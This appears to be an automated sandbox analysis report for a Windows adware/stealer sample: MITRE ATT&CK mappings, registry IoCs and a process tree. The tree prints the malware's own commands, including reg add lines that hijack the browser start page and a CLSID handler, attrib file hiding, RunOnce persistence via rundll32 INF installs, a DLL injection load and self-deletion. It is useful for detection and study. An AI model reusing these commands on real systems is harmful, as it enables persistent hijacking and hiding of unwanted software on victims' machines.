b0c2f0bed100fdbe9712236307e8e8c69750e1e3e9610ed6300610bc228150d9

pid	Process
4624	attrib.exe
1920	attrib.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation	b0c2f0bed100fdbe9712236307e8e8c69750e1e3e9610ed6300610bc228150d9.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation	inlA9E9.tmp

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\hsdfasd = "\"C:\\Users\\Admin\\AppData\\Roaming\\redload\\tmp.\\a.{971C5380-92A0-5A69-B3EE-C3002B33309E}\" hh.exe"	rundll32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\GrpConv = "grpconv -o"	rundll32.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\D:	cmd.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File opened for modification	C:\PROGRA~1\INTERN~1\ieframe.dll	cmd.exe
File created	C:\PROGRA~1\INTERN~1\ieframe.dll	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	runonce.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	runonce.exe

Modifies Internet Explorer settings 1 TTPs 30 IoCs

adware spyware

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31001661"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "2398190345"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31001661"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\SOFTWARE\Microsoft\Internet Explorer\International\CpMRU\Factor = "20"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Software\Microsoft\Internet Explorer\International\CpMRU	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "2398190345"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "2397723046"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31001661"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{B9A57043-7830-11ED-919F-CA6849833421} = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\SOFTWARE\Microsoft\Internet Explorer\International\CpMRU\InitHits = "100"	IEXPLORE.EXE
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Internet Explorer\Main	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31001661"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Software\Microsoft\Internet Explorer\Main	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\SOFTWARE\Microsoft\Internet Explorer\International\CpMRU\Size = "10"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\SOFTWARE\Microsoft\Internet Explorer\International\CpMRU\Enable = "1"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "2397723046"	IEXPLORE.EXE

Modifies Internet Explorer start page 1 TTPs 2 IoCs

stealer

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\Start Page = "http://www.82133.com/?S"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page = "http://www.82133.com/?S"	reg.exe

Modifies registry class 9 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{971C5380-92A0-5A69-B3EE-C3002B33309E}\Shell	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{971C5380-92A0-5A69-B3EE-C3002B33309E}\Shell\open(&H)	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{971C5380-92A0-5A69-B3EE-C3002B33309E}	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{971C5380-92A0-5A69-B3EE-C3002B33309E}\Shell\open(&H)\Command	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{971C5380-92A0-5A69-B3EE-C3002B33309E}\IsShortCut	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{971C5380-92A0-5A69-B3EE-C3002B33309E}	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{971C5380-92A0-5A69-B3EE-C3002B33309E}\Shell\open(&H)\Command\ = "wscript -e:vbs \"C:\\Users\\Admin\\AppData\\Roaming\\redload\\3.bat\""	reg.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeIncBasePriorityPrivilege	3784	b0c2f0bed100fdbe9712236307e8e8c69750e1e3e9610ed6300610bc228150d9.exe
Token: SeIncBasePriorityPrivilege	2280	inlA9E9.tmp

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2240	IEXPLORE.EXE
2240	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 56 IoCs

description	pid	Process	procid_target
PID 3784 wrote to memory of 3632	3784	b0c2f0bed100fdbe9712236307e8e8c69750e1e3e9610ed6300610bc228150d9.exe	89
PID 3784 wrote to memory of 3632	3784	b0c2f0bed100fdbe9712236307e8e8c69750e1e3e9610ed6300610bc228150d9.exe	89
PID 3784 wrote to memory of 3632	3784	b0c2f0bed100fdbe9712236307e8e8c69750e1e3e9610ed6300610bc228150d9.exe	89
PID 3632 wrote to memory of 4840	3632	cmd.exe	91
PID 3632 wrote to memory of 4840	3632	cmd.exe	91
PID 3632 wrote to memory of 4840	3632	cmd.exe	91
PID 4840 wrote to memory of 764	4840	cmd.exe	93
PID 4840 wrote to memory of 764	4840	cmd.exe	93
PID 4840 wrote to memory of 764	4840	cmd.exe	93
PID 4840 wrote to memory of 4312	4840	cmd.exe	94
PID 4840 wrote to memory of 4312	4840	cmd.exe	94
PID 4840 wrote to memory of 4312	4840	cmd.exe	94
PID 4840 wrote to memory of 828	4840	cmd.exe	95
PID 4840 wrote to memory of 828	4840	cmd.exe	95
PID 4840 wrote to memory of 828	4840	cmd.exe	95
PID 4840 wrote to memory of 1452	4840	cmd.exe	96
PID 4840 wrote to memory of 1452	4840	cmd.exe	96
PID 4840 wrote to memory of 1452	4840	cmd.exe	96
PID 4840 wrote to memory of 4204	4840	cmd.exe	97
PID 4840 wrote to memory of 4204	4840	cmd.exe	97
PID 4840 wrote to memory of 4204	4840	cmd.exe	97
PID 4840 wrote to memory of 4624	4840	cmd.exe	98
PID 4840 wrote to memory of 4624	4840	cmd.exe	98
PID 4840 wrote to memory of 4624	4840	cmd.exe	98
PID 4840 wrote to memory of 1920	4840	cmd.exe	99
PID 4840 wrote to memory of 1920	4840	cmd.exe	99
PID 4840 wrote to memory of 1920	4840	cmd.exe	99
PID 4840 wrote to memory of 2192	4840	cmd.exe	100
PID 4840 wrote to memory of 2192	4840	cmd.exe	100
PID 4840 wrote to memory of 2192	4840	cmd.exe	100
PID 4840 wrote to memory of 3896	4840	cmd.exe	101
PID 4840 wrote to memory of 3896	4840	cmd.exe	101
PID 4840 wrote to memory of 3896	4840	cmd.exe	101
PID 2192 wrote to memory of 3404	2192	rundll32.exe	102
PID 2192 wrote to memory of 3404	2192	rundll32.exe	102
PID 2192 wrote to memory of 3404	2192	rundll32.exe	102
PID 3784 wrote to memory of 2280	3784	b0c2f0bed100fdbe9712236307e8e8c69750e1e3e9610ed6300610bc228150d9.exe	103
PID 3784 wrote to memory of 2280	3784	b0c2f0bed100fdbe9712236307e8e8c69750e1e3e9610ed6300610bc228150d9.exe	103
PID 3784 wrote to memory of 2280	3784	b0c2f0bed100fdbe9712236307e8e8c69750e1e3e9610ed6300610bc228150d9.exe	103
PID 3404 wrote to memory of 3344	3404	runonce.exe	104
PID 3404 wrote to memory of 3344	3404	runonce.exe	104
PID 3404 wrote to memory of 3344	3404	runonce.exe	104
PID 4840 wrote to memory of 4572	4840	cmd.exe	106
PID 4840 wrote to memory of 4572	4840	cmd.exe	106
PID 4840 wrote to memory of 4572	4840	cmd.exe	106
PID 4572 wrote to memory of 3472	4572	cmd.exe	108
PID 4572 wrote to memory of 3472	4572	cmd.exe	108
PID 4572 wrote to memory of 3968	4572	cmd.exe	109
PID 4572 wrote to memory of 3968	4572	cmd.exe	109
PID 4572 wrote to memory of 3968	4572	cmd.exe	109
PID 3784 wrote to memory of 4460	3784	b0c2f0bed100fdbe9712236307e8e8c69750e1e3e9610ed6300610bc228150d9.exe	111
PID 3784 wrote to memory of 4460	3784	b0c2f0bed100fdbe9712236307e8e8c69750e1e3e9610ed6300610bc228150d9.exe	111
PID 3784 wrote to memory of 4460	3784	b0c2f0bed100fdbe9712236307e8e8c69750e1e3e9610ed6300610bc228150d9.exe	111
PID 2280 wrote to memory of 824	2280	inlA9E9.tmp	115
PID 2280 wrote to memory of 824	2280	inlA9E9.tmp	115
PID 2280 wrote to memory of 824	2280	inlA9E9.tmp	115

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

pid	Process
4624	attrib.exe
1920	attrib.exe

C:\Users\Admin\AppData\Local\Temp\b0c2f0bed100fdbe9712236307e8e8c69750e1e3e9610ed6300610bc228150d9.exe
"C:\Users\Admin\AppData\Local\Temp\b0c2f0bed100fdbe9712236307e8e8c69750e1e3e9610ed6300610bc228150d9.exe"
1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3784
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\start_max_bat.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3632
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Roaming\redload\1.bat
    3⤵
    - Enumerates connected drives
    - Drops file in Program Files directory
    - Suspicious use of WriteProcessMemory
    PID:4840
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d ""http://www.82133.com/?S"" /f
      4⤵
      Modifies Internet Explorer settings
      Modifies Internet Explorer start page
      PID:764
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d ""http://www.82133.com/?S"" /f
      4⤵
      Modifies Internet Explorer settings
      Modifies Internet Explorer start page
      PID:4312
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\tmp" /v "key" /d ""http://www.82133.com/?S"" /f
      4⤵
      PID:828
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCR\CLSID\{971C5380-92A0-5A69-B3EE-C3002B33309E}" /v "IsShortCut" /d "" /f
      4⤵
      Modifies registry class
      PID:1452
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCR\CLSID\{971C5380-92A0-5A69-B3EE-C3002B33309E}\Shell\open(&H)\Command" /v "" /d "wscript -e:vbs ""C:\Users\Admin\AppData\Roaming\redload\3.bat""" /f
      4⤵
      Modifies registry class
      PID:4204
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +h C:\Users\Admin\AppData\Roaming\redload\tmp\a.{971C5380-92A0-5A69-B3EE-C3002B33309E}
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:4624
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +h C:\Users\Admin\AppData\Roaming\redload\tmp
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:1920
  - - C:\Windows\SysWOW64\rundll32.exe
      rundll32 syssetup,SetupInfObjectInstallAction DefaultInstall 128 C:\Users\Admin\AppData\Roaming\redload\2.inf
      4⤵
      Adds Run key to start application
      Suspicious use of WriteProcessMemory
      PID:2192
    - - C:\Windows\SysWOW64\runonce.exe
        
        "C:\Windows\system32\runonce.exe" -r
        5⤵
        Checks processor information in registry
        Suspicious use of WriteProcessMemory
        
        PID:3404
      - C:\Windows\SysWOW64\grpconv.exe
        
        "C:\Windows\System32\grpconv.exe" -o
        6⤵
        
        PID:3344
  - - C:\Windows\SysWOW64\rundll32.exe
      rundll32 D:\VolumeDH\inj.dat,MainLoad
      4⤵
      PID:3896
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Roaming\redload\2.bat
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4572
    - - C:\PROGRA~1\INTERN~1\iexplore.exe
        
        C:\PROGRA~1\INTERN~1\IEXPLORE.EXE http://www.cnkankan.com/?82133
        5⤵
        Modifies Internet Explorer settings
        
        PID:3472
      - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3472 CREDAT:17410 /prefetch:2
        6⤵
        Modifies Internet Explorer settings
        Suspicious use of SetWindowsHookEx
        
        PID:2240
    - - C:\Windows\SysWOW64\rundll32.exe
        
        rundll32 syssetup,SetupInfObjectInstallAction DefaultInstall 128 C:\Users\Admin\AppData\Roaming\redload\1.inf
        5⤵
        
        PID:3968
- C:\Users\Admin\AppData\Local\Temp\inlA9E9.tmp
  C:\Users\Admin\AppData\Local\Temp\inlA9E9.tmp
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2280
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del C:\Users\Admin\AppData\Local\Temp\inlA9E9.tmp > nul
    3⤵
    PID:824
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c del C:\Users\Admin\AppData\Local\Temp\B0C2F0~1.EXE > nul
  2⤵
  PID:4460

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Hidden Files and Directories

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Hidden Files and Directories

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery